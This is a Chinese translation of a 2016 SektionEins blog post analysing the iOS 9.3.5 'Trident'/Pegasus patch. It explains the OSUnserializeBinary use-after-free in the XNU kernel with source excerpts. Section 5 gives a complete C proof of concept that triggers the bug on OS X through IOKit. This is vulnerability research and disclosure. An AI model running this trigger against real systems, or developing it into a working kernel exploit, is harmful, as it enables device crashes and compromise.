iOS三叉戟漏洞补丁分析、利用代码 公布(POC)

2023-10-30 08:20

本文主要是介绍iOS三叉戟漏洞补丁分析、利用代码 公布(POC),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

http://p1.qhimg.com/t01ea9afff1844b4826.jpg


1.介绍


2016年8月25日,针对最近出现的iOS监视工具PEGASUS,苹果发布了重要的安全更新:iOS 9.3.5。与之前发现的iOS恶意软件不同,这个工具包使用了三个不同的iOS 0 day漏洞,可以让所有打了补丁(iOS 9.3.5之前的版本)的iOS设备妥协。不幸的是,有关这些漏洞的公开信息很少,这是因为Citizenlab and Lookout (漏洞发现者)和苹果已经决定对公众隐瞒细节。直到此时,他们仍没有向公众公开恶意软件样本,因此,独立地进行第三方分析是不可能完成的。

站在SektionEins的立场,我们认为向公众隐瞒已修复漏洞的细节并非正确的做法,由于我们在解决iOS内核问题上比较专业,于是决定来看看苹果发布的安全补丁,以找出被PEGASUS利用的漏洞。

该事件前期相关报道、报告:

iOS 9.3.5紧急发布背后真相:NSO使用iPhone 0day无需点击远程攻破苹果手机(8月26日 13:41更新)

 

2.补丁分析


事实上,分析iOS安全补丁并没有我们当初想象得那么简单,因为iOS 9内核是以加密的形式被存储在设备中的(在固件文件中)。如果想获取解密后的内核,我们有两个选择:一种是拥有一个允许解密内核的低水平利用,另一种是破解存在问题的iOS版本,然后从核心内存里将它转储出来。我们决定使用第二种方法,我们在实验室内的iOS测试设备中,用自己的破解版本转储了iOS 9.3.4和iOS 9.3.5的内核。Mathew Solnik曾在一篇博客文章中对我们通常的做法有所描述,他透露说, 通过内核利用,我们可以从物理内存中转储完全解密的iOS内核。

转储出两个内核后,我们需要分析它们的差异。我们使用IDA中的开源二进制diffing插件Diaphora来完成这个任务,为了进行比较,我们将iOS 9.3.4内核加载到了IDA,然后等待自动分析完成,然后运用Diaphora将当前IDA数据库以同样的格式转储到SQLITE数据库。对于iOS 9.3.5内核,我们重复了一次这个过程,然后命令Diaphora比较两个数据库的差异。比较的结果可在以下的画面中看到:

Diaphora发现了iOS 9.3.5中的一些新函数。然而,其中大多数只是跳转目标发生了变化。从变动函数的列表中,我们可以明显看出OSUnserializeXML是其中最值得探究的函数。分析该函数的差异是非常困难的,因为相较于iOS 9.3.4,这个函数在iOS 9.3.5中已经发生了很大的改变(由于重新排序)。然而进一步的分析显示,它实际上还内联着另一个函数,通过观察XNU(类似于iOS内核)的源代码,找到漏洞似乎会变得较为容易。OS X 10.11.6内的XNU内核可以在opensource.apple.com上找到。

对代码进行调查后显示,内联函数实际上是OSUnserializeBinary。

1
2
3
4
5
6
7
8
9
10
OSObject*
OSUnserializeXML( const  char  *buffer,  size_t  bufferSize, OSString **errorString)
{
         if  (!buffer)  return  (0);
         if  (bufferSize <  sizeof (kOSSerializeBinarySignature))  return  (0);
         if  (! strcmp (kOSSerializeBinarySignature, buffer))  return  OSUnserializeBinary(buffer, bufferSize, errorString);
         // XML must be null terminated
         if  (buffer[bufferSize - 1])  return  0;
         return  OSUnserializeXML(buffer, errorString);
}


3.OSUnserializeBinary


OSUnserializeBinary是添加到OSUnserializeXML上的相对较新的代码,主要负责处理二进制序列化数据。这个函数接触到用户输入的方式与OSUnserializeXML相同。由于IOKit API允许对参数进行序列化,因此攻击者只需调用任意的IOKit API(或mach API),就可以滥用它们。同时,该漏洞也可以从iOS或OS X上任意沙箱的内部触发。

这个新函数的源代码位于libkern/c++/OSSerializeBinary.cpp,因此可以直接审查,不用确切地分析苹果应用的补丁。这个新的序列化格式的二进制格式并不是很复杂,它由一个32位标识符作为数据头,其次是32位对齐标记和数据对象。

支持以下数据类型:

·Dictionary

·Array

·Set

·Number

·Symbol

·String

·Data

·Boolean

·Object (reference to previously deserialized object)

二进制格式将这些数据类型编码成24-30位。较低的24位被作为数值数据保留下来,例如存储长度或集合元素计数器。第31位标志着集合的最后一个元素,其他的所有数据(字符串、符号、二进制数据、数字)占用了四字节,对齐到datastream。下文列出的POC就是一个例子。

 

4.漏洞


现在,找出漏洞变得较为简单了,因为它类似于之前PHP函数unserialize()中的use after free 漏洞, SektionEins此前曾在PHP.net将该漏洞披露出来。OSUnserialize()内的漏洞也出自相同的原因:在反序列化过程中,反序列化器可以对先前释放的对象创建引用。

每个对象在经过反序列化后,都会被添加到一个对象目录中。代码是这样的:

1
2
3
4
5
6
if  (!isRef)
{
         setAtIndex(objs, objsIdx, o);
         if  (!ok)  break ;
         objsIdx++;
}

这是不安全的,而PHP也犯过同样的错误,这是因为setAtIndex()宏不会让对象的引用计数增加,你可以在这里看到:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
define setAtIndex(v, idx, o)
         if  (idx >= v##Capacity)                                                                                                         
         {
                 uint32_t ncap = v##Capacity + 64;
                 typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap *  sizeof (o));
                 if  (!nbuf) ok =  false ;
                 if  (v##Array)
                 {
                         bcopy(v##Array, nbuf, v##Capacity *  sizeof (o));
                         kfree(v##Array, v##Capacity *  sizeof (o));
                 }
                 v##Array    = nbuf;
                 v##Capacity = ncap;
         }
         if  (ok) v##Array[idx] = o;   <---- remember object WITHOUT COUNTING THE REFERENCE


在反序列化过程中,如果没有一种合法释放对象的方式,那么不记录v##Array内的引用数将不会出现什么问题。不巧的是,至少有一种代码路径允许在反序列化过程中释放对象。你可以从下面的代码中看到,字典元素的处理支持OSSymbol和OSString key,然而在OSString key的情形下,它们会在OSString对象损坏后转换至OSSymbol,而在OSString对象破坏时,它已经被添加到了theobjs对象表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if  (dict)
{
         if  (sym)
         {
                 DEBG( "%s = %s\n" , sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
                 if  (o != dict) ok = dict->setObject(sym, o,  true );
                 o->release();
                 sym->release();
                 sym = 0;
         }
         else
         {
                 sym = OSDynamicCast(OSSymbol, o);
                 if  (!sym && (str = OSDynamicCast(OSString, o)))
                 {
                     sym = (OSSymbol *) OSSymbol::withString(str);
                     o->release();  <---- destruction of OSString object that is already in objs table
                     o = 0;
                 }
                 ok = (sym != 0);
         }
}


因此,用kOSSerializeObject数据类型来创建已损坏的OSString对象的引用是可行的,这是一个典型的use after free漏洞。

 

5.POC


找出了问题后,我们创建了一个简单的POC来触发这个漏洞,下面的图中就是POC。你可以在OS X上试试(因为它和iOS有一样的漏洞)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
/*
  * Simple POC to trigger CVE-2016-4656 (C) Copyright 2016 Stefan Esser / SektionEins GmbH
  * compile on OS X like:
  *    gcc -arch i386 -framework IOKit -o ex exploit.c
  */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
  
enum
{
   kOSSerializeDictionary   = 0x01000000U,
   kOSSerializeArray        = 0x02000000U,
   kOSSerializeSet          = 0x03000000U,
   kOSSerializeNumber       = 0x04000000U,
   kOSSerializeSymbol       = 0x08000000U,
   kOSSerializeString       = 0x09000000U,
   kOSSerializeData         = 0x0a000000U,
   kOSSerializeBoolean      = 0x0b000000U,
   kOSSerializeObject       = 0x0c000000U,
   kOSSerializeTypeMask     = 0x7F000000U,
   kOSSerializeDataMask     = 0x00FFFFFFU,
   kOSSerializeEndCollecton = 0x80000000U,
};
  
#define kOSSerializeBinarySignature "\323\0\0"
  
int  main()
{
   char  * data =  malloc (1024);
   uint32_t * ptr = (uint32_t *) data;
   uint32_t bufpos = 0;
   mach_port_t master = 0, res;
   kern_return_t kr;
  
   /* create header */
   memcpy (data, kOSSerializeBinarySignature,  sizeof (kOSSerializeBinarySignature));
   bufpos +=  sizeof (kOSSerializeBinarySignature);
  
   /* create a dictionary with 2 elements */
   *(uint32_t *)(data+bufpos) = kOSSerializeDictionary | kOSSerializeEndCollecton | 2; bufpos += 4;
   /* our key is a OSString object */
   *(uint32_t *)(data+bufpos) = kOSSerializeString | 7; bufpos += 4;
   *(uint32_t *)(data+bufpos) = 0x41414141; bufpos += 4;
   *(uint32_t *)(data+bufpos) = 0x00414141; bufpos += 4;
   /* our data is a simple boolean */
   *(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 64; bufpos += 4;
   /* now create a reference to object 1 which is the OSString object that was just freed */
   *(uint32_t *)(data+bufpos) = kOSSerializeObject | 1; bufpos += 4;
  
   /* get a master port for IOKit API */
   host_get_io_master(mach_host_self(), &master);
   /* trigger the bug */
   kr = io_service_get_matching_services_bin(master, data, bufpos, &res);
   printf ( "kr: 0x%x\n" , kr);
}

 

6.利用


因为我们才刚刚分析了这个问题,所以还没有来得及对这个漏洞开发出一种利用。但是我们随后会为这个漏洞开发出一种完全可行的利用,今年的晚些时候,我们会在柏林的iOS内核开发培训课程上将它展示出来。


该事件前期相关报道、报告:

iOS 9.3.5紧急发布背后真相:NSO使用iPhone 0day无需点击远程攻破苹果手机(8月26日 13:41更新)


本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html

    这篇关于iOS三叉戟漏洞补丁分析、利用代码 公布(POC)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



    http://www.chinasem.cn/article/306643

    相关文章

    Go标准库常见错误分析和解决办法

    《Go标准库常见错误分析和解决办法》Go语言的标准库为开发者提供了丰富且高效的工具,涵盖了从网络编程到文件操作等各个方面,然而,标准库虽好,使用不当却可能适得其反,正所谓工欲善其事,必先利其器,本文将... 目录1. 使用了错误的time.Duration2. time.After导致的内存泄漏3. jsO

    springboot循环依赖问题案例代码及解决办法

    《springboot循环依赖问题案例代码及解决办法》在SpringBoot中,如果两个或多个Bean之间存在循环依赖(即BeanA依赖BeanB,而BeanB又依赖BeanA),会导致Spring的... 目录1. 什么是循环依赖?2. 循环依赖的场景案例3. 解决循环依赖的常见方法方法 1:使用 @La

    使用C#代码在PDF文档中添加、删除和替换图片

    《使用C#代码在PDF文档中添加、删除和替换图片》在当今数字化文档处理场景中,动态操作PDF文档中的图像已成为企业级应用开发的核心需求之一,本文将介绍如何在.NET平台使用C#代码在PDF文档中添加、... 目录引言用C#添加图片到PDF文档用C#删除PDF文档中的图片用C#替换PDF文档中的图片引言在当

    C#使用SQLite进行大数据量高效处理的代码示例

    《C#使用SQLite进行大数据量高效处理的代码示例》在软件开发中,高效处理大数据量是一个常见且具有挑战性的任务,SQLite因其零配置、嵌入式、跨平台的特性,成为许多开发者的首选数据库,本文将深入探... 目录前言准备工作数据实体核心技术批量插入:从乌龟到猎豹的蜕变分页查询:加载百万数据异步处理:拒绝界面

    用js控制视频播放进度基本示例代码

    《用js控制视频播放进度基本示例代码》写前端的时候,很多的时候是需要支持要网页视频播放的功能,下面这篇文章主要给大家介绍了关于用js控制视频播放进度的相关资料,文中通过代码介绍的非常详细,需要的朋友可... 目录前言html部分:JavaScript部分:注意:总结前言在javascript中控制视频播放

    Spring Boot 3.4.3 基于 Spring WebFlux 实现 SSE 功能(代码示例)

    《SpringBoot3.4.3基于SpringWebFlux实现SSE功能(代码示例)》SpringBoot3.4.3结合SpringWebFlux实现SSE功能,为实时数据推送提供... 目录1. SSE 简介1.1 什么是 SSE?1.2 SSE 的优点1.3 适用场景2. Spring WebFlu

    java之Objects.nonNull用法代码解读

    《java之Objects.nonNull用法代码解读》:本文主要介绍java之Objects.nonNull用法代码,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录Java之Objects.nonwww.chinasem.cnNull用法代码Objects.nonN

    Spring事务中@Transactional注解不生效的原因分析与解决

    《Spring事务中@Transactional注解不生效的原因分析与解决》在Spring框架中,@Transactional注解是管理数据库事务的核心方式,本文将深入分析事务自调用的底层原理,解释为... 目录1. 引言2. 事务自调用问题重现2.1 示例代码2.2 问题现象3. 为什么事务自调用会失效3

    SpringBoot实现MD5加盐算法的示例代码

    《SpringBoot实现MD5加盐算法的示例代码》加盐算法是一种用于增强密码安全性的技术,本文主要介绍了SpringBoot实现MD5加盐算法的示例代码,文中通过示例代码介绍的非常详细,对大家的学习... 目录一、什么是加盐算法二、如何实现加盐算法2.1 加盐算法代码实现2.2 注册页面中进行密码加盐2.

    python+opencv处理颜色之将目标颜色转换实例代码

    《python+opencv处理颜色之将目标颜色转换实例代码》OpenCV是一个的跨平台计算机视觉库,可以运行在Linux、Windows和MacOS操作系统上,:本文主要介绍python+ope... 目录下面是代码+ 效果 + 解释转HSV: 关于颜色总是要转HSV的掩膜再标注总结 目标:将红色的部分滤